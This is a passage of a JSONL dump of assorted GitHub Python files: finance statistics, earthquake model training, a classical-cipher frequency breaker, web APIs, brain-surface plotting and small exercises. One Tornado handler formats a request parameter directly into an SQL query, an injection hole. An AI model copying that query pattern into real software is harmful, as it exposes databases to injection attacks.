lags = [int(lag) for lag in lags]\n\n for lag in lags:\n df_ = df0.shift(lag).copy(deep=True)\n df_.columns = [str(i) + '_' + str(lag) for i in df_.columns]\n df1 = df1.join(df_, how='outer')\n return df1\n\n\ndef get_yx(series, constant, lags):\n series_ = series.diff().dropna()\n x = lag_df(series_, lags).dropna()\n x.iloc[:, 0] = series.values[-x.shape[0] - 1:-1, 0] # lagged level\n y = series_.iloc[-x.shape[0]:].values\n\n if constant != 'nc':\n x = np.append(x, np.ones((x.shape[0], 1)), axis=1)\n if constant[:2] == 'ct':\n trend = np.arange(x.shape[0]).reshape(-1, 1)\n x = np.append(x, trend, axis=1)\n if constant == 'ctt':\n x = np.append(x, trend ** 2, axis=1)\n\n return y, x\n\n\ndef get_betas(y, x):\n \"\"\"\n fitting the adf specification\n :param y: \n :param x: \n :return: \n \"\"\"\n xy = np.dot(x.T, y)\n xx = np.dot(x.T, x)\n xxinv = np.linalg.inv(xx)\n\n b_mean = np.dot(xxinv, xy)\n\n # b_mean = np.linalg.lstsq(x, y)[0]\n\n err = y - np.dot(x, b_mean)\n b_var = np.dot(err.T, err) / (x.shape[0] - x.shape[1]) * xxinv\n return b_mean, b_var\n\n\ndef get_bsadf(log_p, min_sl, constant, lags):\n \"\"\"\n log_p: a pd series of log-prices\n min_sl: minimum sample length tau\n constant:\n 'nc': no time trend,\n 'ct': time trend,\n 'ctt': a constant plus second degress plynomial time trend\n\n lags: the number of lags used in the ADF\n \"\"\"\n y, x = get_yx(log_p, constant, lags)\n\n start_points = range(0, y.shape[0] + lags - min_sl + 1)\n\n bsadf = 0.05\n all_adf = []\n\n for start in start_points:\n y_, x_ = y[start:], x[start:]\n b_mean_, b_std_ = get_betas(y_, x_)\n b_mean_, b_std_ = b_mean_[0, 0], b_std_[0, 0] ** .5\n all_adf.append(b_mean_ / b_std_)\n if all_adf[-1] > float(bsadf):\n bsadf = all_adf[-1]\n\n out = {'Time': log_p.index[-1], 'gsadf': bsadf}\n return out\n\n","repo_name":"alexanu/Python_Trading_Snippets","sub_path":"MLBook_Lopez/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":9608,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"52"} +{"seq_id":"27228469026","text":"__author__ = 'Daniel'\n\n\n\"\"\"\nGiven an input string, reverse the string word by word.\n\nFor example,\nGiven s = \"the sky is blue\",\nreturn \"blue is sky the\".\n\"\"\"\n\n\ndef reverseWords(s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n\n ans_list = []\n st = ''\n\n\n for c in s:\n if c != ' ':\n st+=c\n else:\n if st != '':\n ans_list.append(st)\n st = ''\n\n if st != '':\n ans_list.append(st)\n\n ans = ''\n l = len(ans_list)\n for i in range(l):\n if i == 0:\n ans = ans + ans_list[l-1-i]\n else:\n ans = ans + ' ' + ans_list[l-1-i]\n\n return ans\n\nprint(reverseWords('1 '))","repo_name":"kyjswh/LeetCode","sub_path":"src/String/reverse words.py","file_name":"reverse words.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1226175917","text":"import numpy as np\n\nfrom keras.preprocessing.sequence import TimeseriesGenerator\n\nfrom earthquakes.engineering import get_cycle\nfrom common.utils import progress\n\n\nclass Scaler():\n \"\"\"Class that takes care of scaling the data in various ways.\n\n The following methods are available:\n - 'log': take the natural logarithm of each value + a constant to prevent negative inputs.\n - 'standard': standardizing by subtracting the mean and dividing by standard deviation.\n - 'abslog': take the log of the absolute value (+ a small value to prevent log(0)).\n - 'minmax': places the value in [0, 1] where 0 represents the min and 1 the max.\n - 'absmax': divides the value by the absolute maximum, so that values are in [-1, 1].\n - 'value': divide by a custom value.\n\n Parameters\n ----------\n method: str\n The scaling method. One of ['log', 'standard', 'abslog', 'minmax', 'absmax', 'value'].\n epsilon: float, optional, default=1e-6\n Small value that is added to logarithm inputs to prevent taken log(0).\n add_constant: int, optional, default=5516\n A constant that is added to the whole signal when using 'log' as scaling\n method in order to prevent log(x), x <= 0. Default is set to the minimum\n of the training data - 1.\n\n Notes\n -----\n For the following scaling methods, you need to call `fit()` before you can use `scale`:\n ['standard', 'minmax', 'absmax'].\n \"\"\"\n def __init__(self, method=\"log\", epsilon=1e-6, add_constant=5516, value=100):\n self.method = method\n self.epsilon = epsilon\n self.C = add_constant\n self.value = value\n\n self.fitted = False\n\n def fit(self, arr):\n self.mu = np.mean(arr)\n self.sigma = np.std(arr)\n self.min = np.min(arr)\n self.max = np.max(arr)\n self.absmax = np.max(np.abs(arr))\n\n self.fitted = True\n\n def scale(self, arr):\n \"\"\"Scale the data according to the specified method and parameters.\n\n Parameters\n ----------\n arr: array-like\n The input array.\n\n Returns\n -------\n scaled_array: np.array\n The scaled array.\n \"\"\"\n if self.method == \"log\":\n return np.log(np.asarray(arr) + self.C)\n if self.method == \"standard\":\n assert self.fitted, \"Fit first if using standard scaling\"\n return (np.asarray(arr) - self.mu) / self.sigma\n if self.method == \"abslog\":\n return np.log(np.abs(arr) + self.epsilon)\n if self.method == \"minmax\":\n assert self.fitted, \"Fit first if using minmax scaling\"\n return (np.asarray(arr) - self.min) / (self.max - self.min)\n if self.method == 'absmax':\n assert self.fitted, \"Fit first if using absmax scaling\"\n return np.asarray(arr) / self.absmax\n if self.method == \"value\":\n return np.asarray(arr) / self.value\n\n\ndef train_on_cycles(model, epochs=5, batch_size=32, cycle_nrs=None, scaler=None,\n sequence_length=150000, xcol=\"acoustic_data\", ycol=\"time_to_failure\",\n data_dir=\"../data\"):\n \"\"\"Train a Keras model on specific earthquake cycles.\n\n Parameters\n ----------\n model: keras.models.Model\n The model to train.\n epochs: int, optional, default=5\n The number of epochs to train.\n batch_size: int, optional, default=32\n The number of samples in a batch to use in Gradient Descent.\n cycle_nrs: list of ints\n The cycle numbers you want to train the model on.\n scaler: earthquakes.deep.Scaler object\n Scaler instance to use to scale every cycle. Must be initialized and fitted\n (if the scaling method requires so).\n sequence_length: int, optional, default=150000\n The length of a signal sequence. This should probably be left at its default.\n xcol, ycol: str, optional\n The column names of the signal (xcol) and target (ycol). Defaults to\n xcol=\"acoustic_data\", ycol=\"time_to_failure\".\n data_dir: str, optional, default=\"../data\"\n The directory that holds the cycle data.\n\n Returns\n -------\n trained_model: keras.models.Model\n The trained model.\n \"\"\"\n if cycle_nrs is None:\n cycle_nrs = range(17)\n\n # train for 'epochs' epochs on every cycle in cycle_nrs\n for cycle_nr in cycle_nrs:\n # load cycle\n train_x, train_y = get_cycle(cycle_nr, xcol=xcol, ycol=ycol, data_dir=data_dir)\n # scale signal data\n if scaler is not None:\n train_x = scaler.scale(train_x)\n # create generator\n data_gen = TimeseriesGenerator(train_x, train_y, length=sequence_length, batch_size=batch_size, shuffle=True)\n # train\n model.fit_generator(\n data_gen,\n steps_per_epoch=len(train_x)/sequence_length,\n epochs=epochs,\n use_multiprocessing=False\n )\n\n return model\n\n\ndef evaluate_on_cycles(model, cycle_nrs=None, scaler=None, sequence_length=150000,\n xcol=\"acoustic_data\", ycol=\"time_to_failure\", data_dir=\"../data\"):\n \"\"\"Evaluate a model on certain earthquake cycles.\n\n Parameters\n ----------\n model: a trained Keras.Model\n Must implement the `predict`.\n cycle_nrs: list of ints\n The cycle numbers you want to evaluate the model on.\n scaler: earthquakes.deep.Scaler object\n Scaler instance to use to scale every cycle. Must be initialized and fitted\n (if the scaling method requires so).\n sequence_length: int, optional, default=150000\n The length of a signal sequence. This should probably be left at its default.\n xcol, ycol: str, optional\n The column names of the signal (xcol) and target (ycol). Defaults to\n xcol=\"acoustic_data\", ycol=\"time_to_failure\".\n data_dir: str, optional, default=\"../data\"\n The directory that holds the cycle data.\n\n Returns\n -------\n tuple of (weighted_loss, losses, weights):\n weighted_loss: float\n The total loss weighted over the cycle\n \"\"\"\n losses, weights = [], []\n for nr in cycle_nrs:\n x, y = get_cycle(nr, xcol=xcol, ycol=ycol, data_dir=data_dir)\n x = x.reshape((len(x), 1))\n y = y.reshape((len(y), 1))\n x = scaler.scale(x)\n\n data_gen = TimeseriesGenerator(x, y, length=sequence_length, batch_size=128, shuffle=True)\n progress(\"Evaluating cycle {}..\".format(nr))\n loss = model.evaluate_generator(data_gen, steps=len(x)/sequence_length)\n losses.append(loss)\n weights.append(len(x))\n\n weighted_loss = np.dot(losses, weights) / np.sum(weights)\n print(\"Weighted loss over cycles: {}\".format(weighted_loss))\n return weighted_loss, losses, weights\n\n\nclass KFoldCycles():\n \"\"\"K-Fold splitter for earthquake cycles.\n\n Note that folds are not of equal size (not even in the number of cycles), since we\n have 17 cycles, which is a prime number.\n\n Parameters\n ----------\n k_folds: int, optional, default=4\n Number of folds.\n shuffle: bool, optional, default=True\n Whether to shuffle the cycle numbers before folding.\n \"\"\"\n def __init__(self, k_folds=4, shuffle=True):\n self.k_folds = int(k_folds)\n self.shuffle = shuffle\n\n def split(self, n_cycles=17):\n \"\"\"Create train-validation splits.\n\n Parameters\n ----------\n n_cycles: int, optional, default=17\n The number of cycles that are available in total.\n\n Returns\n -------\n Tuples of (train_cycles, test_cycles), where train_cycles and test_cycles are\n lists of integers in [0, n_cycles). Can be used directly for input to `train_on_cycles`\n and `evaluate_on_cycles`.\n \"\"\"\n cycles = np.arange(n_cycles)\n if self.shuffle:\n np.random.shuffle(cycles)\n cycles_per_fold = n_cycles / self.k_folds # probably not an integer\n folds = [cycles[int(np.floor(i * cycles_per_fold)):int(np.floor((i + 1) * cycles_per_fold))] for i in range(self.k_folds)]\n for k in range(self.k_folds):\n yield np.concatenate(folds[0:k] + folds[(k + 1):]), folds[k]\n","repo_name":"MLblog/jads_kaggle","sub_path":"earthquakes/deep.py","file_name":"deep.py","file_ext":"py","file_size_in_byte":8226,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"11932612635","text":"import string\nimport random\n\n# Este diccionario debe ser llenado con las frecuencias de las letras del inglés obtenidas de la imagen.\n# Las llaves son las letras en mayúsculas y los valores son las frecuencias en porcentaje.\nfrecuencias_ingles = {\n 'E': 11.1607, 'T': 9.056, 'A': 8.4966, 'O': 7.1635,\n 'I': 7.5448, 'N': 6.6544, 'S': 5.7351, 'H': 3.0034,\n 'R': 7.5809, 'D': 3.3844, 'L': 5.4893, 'C': 4.5388,\n 'U': 3.6308, 'M': 3.0129, 'W': 1.2899, 'F': 1.8121,\n 'G': 2.4705, 'Y': 1.7779, 'P': 3.1671, 'B': 2.0720,\n 'V': 1.0074, 'K': 1.1016, 'X': 0.2902, 'Q': 0.1962,\n 'J': 0.1965, 'Z': 0.2722\n}\n\n# Ordenar las letras por frecuencia en inglés\nfrecuencias_ingles_ordenadas = sorted(frecuencias_ingles, key=frecuencias_ingles.get, reverse=True)\n\ndef leer_texto_cifrado(ruta_archivo):\n with open(ruta_archivo, 'r', encoding='utf-8') as archivo:\n # convertir a mayusculas\n texto_cifrado = archivo.read().upper()\n return texto_cifrado\ndef analizar_frecuencia(texto_cifrado):\n # Contar la frecuencia de cada letra en el texto cifrado\n frecuencias_cifrado = {letra: 0 for letra in string.ascii_uppercase}\n for caracter in texto_cifrado:\n if caracter.upper() in frecuencias_cifrado:\n frecuencias_cifrado[caracter.upper()] += 1\n \n total_caracteres = sum(frecuencias_cifrado.values())\n frecuencias_cifrado = {letra: (frecuencia / total_caracteres) * 100 for letra, frecuencia in frecuencias_cifrado.items()}\n \n # Ordenar las letras del texto cifrado por frecuencia\n return sorted(frecuencias_cifrado, key=frecuencias_cifrado.get, reverse=True)\n\ndef descifrar_texto(texto_cifrado, frecuencias_cifrado_ordenadas, letras_adivinadas_correctamente):\n texto_descifrado = ''\n letras_disponibles = list(set(frecuencias_ingles_ordenadas) - set(letras_adivinadas_correctamente.values()))\n\n for i, caracter in enumerate(texto_cifrado):\n if caracter.upper() in letras_adivinadas_correctamente:\n texto_descifrado += letras_adivinadas_correctamente[caracter.upper()]\n elif caracter.upper() in string.ascii_uppercase:\n # Hacer la primera suposición basada en la frecuencia si no se ha adivinado aún\n if caracter.upper() not in letras_adivinadas_correctamente:\n if letras_disponibles:\n indice = frecuencias_cifrado_ordenadas.index(caracter.upper())\n texto_descifrado += frecuencias_ingles_ordenadas[indice] if indice < len(frecuencias_ingles_ordenadas) else caracter\n else:\n texto_descifrado += caracter\n else:\n texto_descifrado += caracter\n else:\n texto_descifrado += caracter\n\n return texto_descifrado\n\nruta_archivo_cifrado = 'ciphered_text.txt'\ntexto_cifrado = leer_texto_cifrado(ruta_archivo_cifrado)\nfrecuencias_cifrado_ordenadas = analizar_frecuencia(texto_cifrado)\ntexto_descifrado = ''\nletras_adivinadas_correctamente = {}\nwhile True:\n texto_descifrado = descifrar_texto(texto_cifrado, frecuencias_cifrado_ordenadas, letras_adivinadas_correctamente)\n\n # Mostrar el texto descifrado al usuario y preguntar caracteres adivinados\n print(texto_descifrado[:1000])\n caracteres_adivinados = input('Ingrese los caracteres correctos que identificó o escribe TERMINAR si el texto es el correcto: ')\n \n if caracteres_adivinados.lower() == 'terminar':\n break\n\n # Actualizar el diccionario con las letras adivinadas correctamente\n for caracter in caracteres_adivinados.upper():\n if caracter in string.ascii_uppercase: # Asegurarse de que es una letra\n for i, c in enumerate(texto_descifrado):\n if texto_cifrado[i].upper() == caracter:\n letras_adivinadas_correctamente[texto_cifrado[i].upper()] = c\n break\n\n# Guardar el texto descifrado en un archivo\nwith open('texto_descifrado.txt', 'w', encoding='utf-8') as archivo_salida:\n archivo_salida.write(texto_descifrado)\n\nprint(\"El texto ha sido descifrado y guardado en 'texto_descifrado.txt'\")\n","repo_name":"hecarrillo/cryptography-algorithms","sub_path":"monoalphabetic_frequency_attack/decipher.py","file_name":"decipher.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10525083677","text":"# minimal drawing from natural language input: just draw one square or circle\n# presupposes 'gf -make DrawEng.gf'\n\nimport pgf\nfrom graphics import *\n\n# we assume this abstract syntax\nabsmodule = \"Draw\"\n\n# change this to change input language\nlangname = absmodule + \"Eng\"\n\ndef execute(command,win):\n \"interpret drawCommand; other commands ignored\"\n fun,args = command.unpack()\n\n if fun == \"drawCommand\":\n obj = shape(args[0])\n obj.draw(win)\n else:\n print(\"command not available\")\n\n \ndef shape(obj):\n \"draw Shape, ignoring given colour and size in this simple example\"\n fun,args = obj.unpack() \n sh,xx = args[2].unpack()\n \n if sh == \"circle_Shape\":\n shap = Circle(Point(300,300),200)\n elif sh == \"square_Shape\":\n shap = Rectangle(Point(200,200),Point(600,600))\n else:\n shap = None\n \n return shap\n\ndef main():\n \"execute one line of input, quit by second Enter\"\n win = GraphWin(\"GF Draw\", 1000, 1000)\n gr = pgf.readPGF(absmodule + \".pgf\")\n eng = gr.languages[langname]\n line = input()\n px = eng.parse(line.lower())\n p,tree = px.__next__()\n execute(tree,win)\n input()\n\nmain()\n\n\n","repo_name":"GrammaticalFramework/comp-syntax-2020","sub_path":"python/minidraw.py","file_name":"minidraw.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"70265674404","text":"# encoding=utf-8_general_ci\n\nfrom base import *\n\nclass getreportHandler(BaseHandler):\n def get(self):\n if self.initial() == False:\n return\n\n runid = self.get_argument(\"runid\", \"\")\n report = self.db.get(\"select report, uid from status where runid=%s\"\\\n % str(runid))\n\n if(report.uid == self.user.uid or self.user.authority >= 3):\n self.write(report[\"report\"])\n else:\n self.write(\"you can not acess the report\")\n","repo_name":"ghostbody/Yejq-online-judge","sub_path":"src/Web/getreport.py","file_name":"getreport.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"52"} +{"seq_id":"33033911363","text":"from django.db import models\n\n\nclass Order(models.Model):\n user = models.ForeignKey('user.User', on_delete=models.CASCADE)\n order_status = models.ForeignKey('OrderStatus', on_delete=models.SET_NULL, null=True) \n payment_method = models.ForeignKey('PaymentMethod', on_delete=models.SET_NULL, null=True)\n price = models.DecimalField(max_digits=10, decimal_places=2)\n order_number = models.CharField(max_length=60) \n purchase_time = models.DateTimeField(auto_now=True)\n cart = models.ManyToManyField('product.Product', through='Cart') \n\n class Meta:\n db_table = 'orders'\n\n\nclass OrderStatus(models.Model):\n name = models.CharField(max_length=10)\n\n class Meta:\n db_table = 'order_status'\n\n\nclass SavedItem(models.Model):\n user = models.ForeignKey('user.User', on_delete=models.CASCADE)\n product = models.ForeignKey('product.Product', on_delete=models.CASCADE)\n\n class Meta:\n db_table = 'saved_items'\n\n\nclass Cart(models.Model):\n order = models.ForeignKey('Order', on_delete=models.CASCADE, related_name='cart_order')\n product = models.ForeignKey('product.Product', on_delete=models.SET_NULL, null=True)\n quantity = models.IntegerField(default=0)\n\n class Meta:\n db_table = 'carts'\n\n\nclass PaymentMethod(models.Model):\n method = models.CharField(max_length=45)\n \n class Meta:\n db_table = 'payment_method'\n","repo_name":"wecode-bootcamp-korea/18-1st-MarketHoly-backend","sub_path":"order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7648575214","text":"#gui qt\nfrom surfer import Brain, io, utils\nimport numpy as np\nfrom scipy.stats import scoreatpercentile\nimport os\nimport math\nimport nipype.interfaces.fsl as fsl\nimport nipype.interfaces.freesurfer as fs\nfrom mayavi import mlab\ndatadir=\"/gablab/p/bps/zqi_ytang/results/conn_sub80_0724/results/secondlevel\"\nos.environ[\"SUBJECTS_DIR\"] = \"/mindhive/xnat/surfaces/CASL\"\nsurfsubj=\"fsaverage\"\n\ndef write_label(vertices,filename):\n\tif os.path.isfile(filename):\n\t\tos.remove(filename)\n\toutfile = open(filename,'wt')\n\tprint>>outfile, '#!ascii label , from subject MNI_152_T1_1mm vox2ras=TkReg '\n\tprint>>outfile, len(vertices[0])\n\tfor i in vertices[0]:\n\t\tprint>>outfile, i\n\toutfile.close()\n\ndef set_mylights(fig_object,mylights):\n\tfor i in range(0,len(mylights)):\n\t\tfig_object.scene.light_manager.lights[i].azimuth = mylights[i][0]\n\t\tfig_object.scene.light_manager.lights[i].elevation = mylights[i][1]\n\t\tfig_object.scene.light_manager.lights[i].intensity = mylights[i][2]\n\nlights = {}\nlights['lh'] = [[-45.0, 45.0, 1.0], [-60.0, -30.0, 0.6], [60.0, 0.0, 0.75], [0.0, 0.0, 1.0]]\nlights['rh'] = [[45.0, 45.0, 1.0], [60.0, -30.0, 0.6], [-60.0, 0.0, 0.75], [0.0, 0.0, 1.0]]\n\nroifile = \"/gablab/p/bps/zqi_ytang/scripts/roi/IFG.nii\"\ndef drawROI():\n\tfor hemi in [\"lh\"]:\n\t\t# load data\n\t\troivol = io.project_volume_data(roifile,\n\t\t\t\t\t\t hemi,\n\t\t\t\t\t\t subject_id=surfsubj,\n\t\t\t\t\t\t smooth_fwhm=4.0,\n\t\t\t\t\t\t projmeth=\"dist\",\n\t\t\t\t\t\t projsum=\"avg\",\n\t\t\t\t\t\t projarg=[0,6,0.1],\n\t\t\t\t\t\t surf=\"white\")\n\t\t# create label\n\t\troivol = abs(roivol)\n\t\troivol[roivol < 0.33] = 0\n\t\t#if max(roivol) < 1:\n\t\t#\tbrain.close()\n\t\t#\tcontinue\n\t\t#else:\n\t\twrite_label(np.asarray(np.nonzero(roivol)),\"/gablab/p/bps/zqi_ytang/scripts/roi/surf-IFG.label\")\n\n\t\t# load brain\n\t\tmy_fig = mlab.figure(figure=\"new_fig1\", size=(800,800))\n\t\tbrain = Brain(\"fsaverage\",hemi,\"inflated\",curv=True,size=[800,800],background=\"white\",cortex=((\"gist_yarg\",-1.5,3.5,False)),figure=my_fig)\n\t\tset_mylights(my_fig,lights[hemi])\n\n\t\t#add label\n\t\tbrain.add_label(\"/gablab/p/bps/zqi_ytang/scripts/roi/surf-IFG.label\",borders=False,color=\"#ffff00\",alpha=1)\n\t\tbrain.add_label(\"/gablab/p/bps/zqi_ytang/scripts/roi/surf-IFG.label\",borders=1,color=\"black\",alpha=0.5)\n\n\t\tbrain.show_view('lat')\n\t\tbrain.save_image(\"/gablab/p/bps/zqi_ytang/scripts/roi/surf-IFG.tiff\")\n\t\tbrain.close()\ndrawROI()\n","repo_name":"zhenghanQ/bps","sub_path":"plot_roi.py","file_name":"plot_roi.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71557717604","text":"import datetime\nfrom slugify import slugify\n\nfrom flask import Blueprint, request, json\nfrom flask_restful import Resource, Api\nfrom marshmallow import ValidationError\nfrom sqlalchemy.exc import SQLAlchemyError\n\nfrom app.models import Article, db\nfrom app.serializer.article_schema import ArticleSchema, article_list, article_get_one, ArticleListSchema\n\narticle_bp = Blueprint('articles', __name__, url_prefix='/article')\napi = Api(article_bp)\n\nclass Articles(Resource):\n def get(self):\n try:\n articles = Article.query.order_by(Article.created.desc()).all()\n except Exception as exc:\n return exc.args\n\n return article_list.dump(articles)\n def post(self):\n\n try:\n article_request = ArticleSchema().loads(request.data)\n except ValidationError as error:\n return error.messages, 422\n\n try:\n article = Article(\n title=article_request['title'],\n abstract=article_request['abstract'],\n content=article_request['content'],\n user_id=article_request['user_id'],\n category_id=article_request['category_id']\n )\n db.session.add(article)\n db.session.commit()\n return {\n 'msg': 'Artigo cadastrado com sucesso!',\n 'status': 201\n }, 201\n except Exception as sql_error:\n return sql_error.args, 401\n\n return {\n 'msg': 'Artigo não cadastrado',\n 'status': 401\n }\n\n\n\nclass ArticleApi(Resource):\n def get(self, id):\n try:\n artic = Article.query.filter_by(id=id).one()\n response = ArticleListSchema().dump(artic)\n return response, 201\n\n except Exception as exc:\n return exc.args\n return {\n 'msg': 'artigo não encontrado',\n 'status': 500\n }, 500\n\n def put(self, id):\n try:\n article_request = article_get_one.loads(request.data)\n except ValidationError as error:\n return error.messages, 422\n try:\n article = Article.query.filter_by(id=id).one()\n if 'title' in article_request:\n article.title = article_request['title']\n article.slug = slugify(article.title.__str__())\n if 'abstract' in article_request:\n article.abstract=article_request['abstract']\n if 'content' in article_request:\n article.content=article_request['content']\n if 'category_id' in article_request:\n article.category_id=article_request['category_id']\n article.last_edit = datetime.datetime.utcnow()\n\n db.session.add(article)\n db.session.commit()\n return {\n 'msg': 'Artigo atualizado com sucesso!',\n 'status': 201\n }, 201\n except SQLAlchemyError as exc:\n return exc.args\n return {\n 'msg': 'Não foi possivel cadastrar',\n 'status': 501\n }, 501\n def delete(self):\n try:\n article = Article.query.filter_by(id=id).first_or_404(description=f'ID={id} não foi encontrado')\n\n db.session.delete(article)\n db.session.commit()\n return {\n 'msg': 'Artigo excluido com sucesso!',\n 'status': 201\n }, 201\n except SQLAlchemyError as exc:\n return exc.args\n return {\n 'msg': f'Não foi possivel excluir o artigo com ID = {id}',\n 'status': 501\n }, 501\n\nclass ArticleCategory(Resource):\n def get(self, id):\n artic = Article.query.filter_by(category_id=id).all()\n response = article_list.dump(artic)\n return response, 201\n\nclass ArticleAuthor(Resource):\n def get(self, id):\n artic = Article.query.filter_by(user_id=id).all()\n response = article_list.dump(artic)\n return response, 201\n\n\n\n\napi.add_resource(Articles, '/', '/all/', endpoint='all')\napi.add_resource(ArticleApi, '/', '//')\napi.add_resource(ArticleCategory, '/category/')\napi.add_resource(ArticleAuthor, '/author/')","repo_name":"faamaral/esquina-ti-backend","sub_path":"app/routes/articles.py","file_name":"articles.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38314792930","text":"\"\"\"\n--Direction\nGiven a string, return a new string with\nthe reversed order of characters.\n\n---Example\nreverse('apple') === 'leppa'\n\"\"\"\n\n\n# Solution\n\ndef reverse(string):\n result = ''\n for index in reversed(range(len(string))):\n result += string[index]\n return result\n\n\ndef reverse_v2(string):\n result = ''\n string_len = len(string)\n for index in range(1, string_len + 1):\n reversed_index = string_len - index\n result += string[reversed_index]\n return result\n\ndef reverse_v3(string):\n reversed = ''\n for char in string:\n reversed = char + reversed\n return reversed\n\nprint(reverse('apple'))\n\nprint(reverse_v2('apple'))\nprint(reverse_v3('apple'))\n\n\ndef reverse(num):\n result = 0\n\n digits = digits_count(num)\n\n for power in reversed(range(digits)):\n last_digit = num%10\n order_last_digit = last_digit * 10**power\n result += order_last_digit\n\n num = num//10\n\n return result\n\n\n\n\n\ndef digits_count(x):\n \"\"\"\n Assumes int(x)\n \"\"\"\n\n x = abs(x)\n\n if x < 10:\n return 1\n\n return 1 + digits_count(x / 10)\n\nprint(reverse(-12345000))\n\n","repo_name":"TeyimPila/daily-coding","sub_path":"04 palindrome/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10657886197","text":"import pandas as pd\nfrom datetime import datetime, timedelta\nfrom dateutil import parser\nfrom Processing.Utils import convert_to_datetime\nclass Patient:\n def __init__(self, id, los,gender, age, comorbidity, weight, m3, m5, m7, m14, m30, itu3, itu5, itu7, itu14, itu30,\n admitDate=None, deathDate=None, ituDate = None, deathperiod=-1, ituperiod=-1):\n\n\n print(\" IN PATIENT\", id, \", Admit Date: \", admitDate, \"DEATH DATE: \", deathDate, \"ITU DATE : \", ituDate)\n self.Patient_id = id\n self.Age = age\n self.Gender = gender\n\n\n if isinstance(deathDate, str) and len(deathDate) <= 1:\n self.deathRange = -1\n elif (not (pd.isnull(deathDate)) and not (pd.isnull(admitDate))):\n AdmitDate = convert_to_datetime(admitDate)\n DeathDate = convert_to_datetime(deathDate)\n self.deathRange = DeathDate- AdmitDate\n else:\n self.deathRange = -1\n\n if isinstance(ituDate, str) and len(ituDate) <= 1:\n self.ituRange = -1\n elif not (pd.isnull(ituDate)) and not (pd.isnull(admitDate)):\n AdmitDate = convert_to_datetime(admitDate)\n ITUDate = convert_to_datetime(ituDate)\n self.ituRange = ITUDate- AdmitDate\n else:\n self.ituRange = -1\n\n self.AdmitDate = admitDate\n self.DeathDate = deathDate\n self.ITUDate = ituDate\n\n self.los = los\n self.M3 = m3\n self.M5 = m5\n self.M7 = m7\n self.M14 = m14\n self.M30 = m30\n\n self.ITU3 = itu3\n self.ITU5 = itu5\n self.ITU7 = itu7\n self.ITU14 = itu14\n self.ITU30 = itu30\n self.weight = weight\n self.comorbidity = comorbidity\n self.observations = []\n\n def addObservations( self, observations ):\n for o in observations:\n self.observations.append(o)\n\n def printString( self ):\n print(\" Patient: \", self.Patient_id, self.Age, self.Gender)\n\n def printObservationVolume( self ):\n print(\" Patient: \", self.Patient_id,\" has: \", len(self.observations), \"observations\")\n\n def getNumberOfObservations( self ):\n return len(self.observations)\n\n def as_dict(self):\n patient_row = {'PatientID' : self.Patient_id,\n 'Age' : self.Age,\n 'Gender' : self.Gender,\n 'los': self.los,\n 'comorbidity': self.comorbidity,\n 'weight': self.weight,\n 'DeathPeriod' : self.deathRange,\n 'ITUPeriod': self.ituRange,\n 'Mortality3Days': self.M3,\n 'Mortality5Days' : self.M5,\n 'Mortality7Days' : self.M7,\n 'Mortality14Days' : self.M14,\n 'Mortality30Days' : self.M30,\n 'ITUAdmission3Days': self.ITU3,\n 'ITUAdmission5Days': self.ITU5,\n 'ITUAdmission7Days': self.ITU7,\n 'ITUAdmission14Days': self.ITU14,\n 'ITUAdmission30Days': self.ITU30\n }\n return patient_row","repo_name":"zibrahim/MIMICTimeSeriesProcessing","sub_path":"CKDDataProcessing/Cohort/Patient.py","file_name":"Patient.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"33344073743","text":"from transformers import MarianMTModel, MarianTokenizer\n\n\nclass Marian():\n def __init__(self, src, trg, ds, device):\n self.source = src\n self.target = trg\n self.dataset = ds\n self.device = device\n self.model_name = f\"Helsinki-NLP/opus-mt-{src}-{trg}\"\n self.tokenizer = MarianTokenizer.from_pretrained(self.model_name)\n self.model = MarianMTModel.from_pretrained(self.model_name)\n\n def translate(self, example):\n batch = self.tokenizer(example['source'],\n truncation=True,\n padding=True,\n return_tensors=\"pt\").to(self.device)\n generated_ids = self.model.generate(**batch)\n return {'translation': self.tokenizer.batch_decode(generated_ids, skip_special_tokens=True)}","repo_name":"u03n0/mt-gender","sub_path":"src/marian.py","file_name":"marian.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22438219246","text":"# Specify the file path\nfile_path = '/Users/levontumanyan/Documents/python/nato_phonetic/alphabet.txt'\n\ndef parse_alphabet():\n\twith open(file_path, 'r') as file:\n\t\talphabect_dict = {}\n\t\t# Read the file line by line\n\t\tfor line in file:\n\t\t\t# Process each line as needed\n\t\t\t#print(line.strip()) # Print the line after removing leading and trailing whitespaces\n\t\t\talphabet_tuple = line.split(\"=\")\n\t\t\t#print(alphabet_tuple)\n\t\t\tletter=alphabet_tuple[0].strip(\"[]\").strip(\"\\\"\\\"\")\n\t\t\tword=alphabet_tuple[1].strip(\"[]\").strip(\"\\n\").strip(\"\\\"\\\"\")\n\t\t\talphabect_dict[letter]=word\n\treturn alphabect_dict\n\n# Open the file in read mode\n\t\t\n#print(parse_alphabet())\n\ndef phonetized(word):\n\tphonetized_list=[]\n\tword = word.upper()\n\tfor ch in 